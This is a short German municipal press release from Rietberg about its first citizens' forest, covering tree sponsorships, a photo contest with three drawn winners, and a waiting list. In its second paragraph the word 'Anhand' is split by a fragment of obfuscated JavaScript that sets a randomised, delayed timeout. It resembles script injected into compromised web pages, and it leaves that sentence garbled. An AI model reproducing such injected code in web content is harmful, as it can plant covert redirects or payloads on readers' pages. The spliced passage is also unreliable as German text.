Ein Selfie mit der Esskastanie

Der erste Bürgerwald im Stadtteil Rietberg wächst und gedeiht. Schon seit November wachsen fast 50 junge Bäume auf einer freien Fläche neben dem Friedhof am Franziskusweg. Zu einem gemeinsamen Pflanzfest hatte Rietbergs Bürgermeister Andreas Sunder die Baumpaten, die die Bäume als Spender finanziert hatten, coronabedingt leider nicht einladen können. Trotzdem haben sich die Stifter jüngst mit ihren Bäumen bekanntgemacht.

Anhandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and eines Lageplanes, den die Mitarbeiter der Abteilung Öffentliches Grün angefertigt hatten, konnten alle Stifter ihren Baum »identifizieren«. Einige Baumpaten waren zudem dem Aufruf von Andreas Sunder gefolgt und hatten ein Foto von sich und ihrem Baum gemacht. Der Bürgermeister hatte zum Fotowettbewerb aufgerufen. Unter den zehn Einsendungen wurden schließlich drei Gewinner ausgelost, die mit Sternschnuppen, den Rietberger Einkaufsgutscheinen belohnt werden. Für den 1. Platz wurde Familie Krüger ausgelost, Platz 2 ging an Familie Martinschledde und der 3. Platz wurde der Werbeagentur PMR zugelost.

Das Interesse für den ersten Bürgerwald im Stadtteil Rietberg war groß. Im Oktober waren binnen sechs Tagen nach dem Aufruf an alle Bürgerinnen und Bürger, sich zu beteiligen, alle Patenschaften für die fast 50 Bäume vergeben. Die Bürger konnten zwischen verschiedenen Baumarten wählen. Dabei hatten sich Esskastanien, Walnuss- und Ginkgo-Bäume als besonders beliebt herausgestellt.

Bürgerinnen und Bürger, die auf dieser Fläche nicht zum Zuge gekommen sind, aber ebenfalls an einer Baumpatenschaft in einem Bürgerwald interessiert sind, dürfen dennoch einen Antrag auf eine Baumpatenschaft stellen, müssen aber mit etwas Wartezeit rechnen. „Wir richten eine Warteliste ein“, erklärt Heike Bennink, Abteilungsleiterin Öffentliches Grün. Info dazu gibt es auf der städtischen Internetseite unter www.rietberg.de/rathaus/klimaschutz-energie/buergerwald.

Quelle: Stadt Rietberg